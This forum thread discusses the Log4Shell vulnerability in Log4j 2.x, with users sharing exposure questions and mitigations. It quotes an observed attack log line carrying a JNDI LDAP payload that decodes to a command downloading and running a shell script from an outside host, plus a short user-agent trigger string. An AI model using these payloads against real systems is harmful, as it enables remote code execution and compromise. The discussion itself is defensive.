critical vulnerability in devel log4j

Already out there. From my http log:
45.137.21.9 - - [11/Dec/2021:03:42:17 +0100] "POST / HTTP/1.1" 301 230 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}"
Doesn't work in my case. That Base64 string decodes to "wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh".
 
Well, make sure you read and understand the parameters of the CVE, if it's exposed to the big bad internet, see if you can turn it off.
 
Already out there. From my http log:
45.137.21.9 - - [11/Dec/2021:03:42:17 +0100] "POST / HTTP/1.1" 301 230 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}"
Doesn't work in my case. That Base64 string decodes to "wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh".
Yup. Exploit attempts were detected at Fastly just 82 minutes after the release of the proof-of-concept code. We got hit with that one too. It creates a cron job to execute that wget periodically.

The two mitigations are to add -DformatMsgNoLookups=true to your Java startup options or upgrade to Log4j2 ver 2.15. We did the first really quickly yesterday, and will be doing the second throughout next week.

Maybe Hardworkingnewbie is right after all.
 
Jose Tieks A question to me is:
What are you running that is exposing that to the Internet at large?

It appears to be a web server; if so, one could say as a mitigation "do not expose a web server to the internet at large".

And Yes, I know that's impractical, just trying to get the scope of things (verify/make sure I understand the CVE).
 
Tieks Thanks. I'm not running anything Internet or internal facing, but my reading of the CVE led me to exactly this. Is it LDAP only?
 
It's that JNDI service. It uses LDAP but not only uses it, also it can deserialise a class, which leads to the exploit. Who woulda thought you'd get hacked this way! :rolleyes:
Just dumb.
More on serialisation is here.
 
  • Like
Reactions: mer
One of the exploit methods I've seen causes the process to connect to a port on a remote machine and effectively open a shell.
 
Jose Tieks A question to me is:
What are you running that is exposing that to the Internet at large?

It appears to be a web server; if so, one could say as a mitigation "do not expose a web server to the internet at large".
It doesn't have to be directly exposed. Even behind something like Nginx, setting the user-agent header to something like ${jndi:ldap://127.0.0.1/a} can trigger the vulnerability if the back-end Java server logs the user-agent. This is a very common thing to do.
 
I have no idea of java, but I thought, it is difficult / impossible to get stack overflows with it. Are the programmers of log4j really so smart to get one?
 
I have no idea of java, but I thought, it is difficult / impossible to get stack overflows with it. Are the programmers of log4j really so smart to get one?

From what I understand the problem is not that this vulnerability causes a crash that can be exploited, but rather that because it allows any arbitrary class to be deserialized, this opens the door to the execution of arbitrary remote code within the java process (the attacker just needs to create a specially crafted class - encoded as a string parameter - whose deserialization will lead the process to make a remote call or download some files). From what I've read attackers are currently crafting special classes whose "deserialization" set ups a cronjob downloading and executing a shell script....
 
devel/log4j isn't vulnerable. The bug is specific to the 2.x branch. That said, as the, still growing, list shows it is embedded in quite a large number of different applications.
 
Our cyber spooks are on it, so... run for the hills!

Btw, that is java, yes?
 
Panic seems to mostly coming from managers, department heads and directors who watched the news during the weekend. Now everyone wants to know everything. And I'm just thinking, go ask SOC. It's what they're there for.
 
if i understood correctly this bug is at least 4 years old, since ver 2.10
the myth of open source => more eyes => more secure busted again
 
Back
Top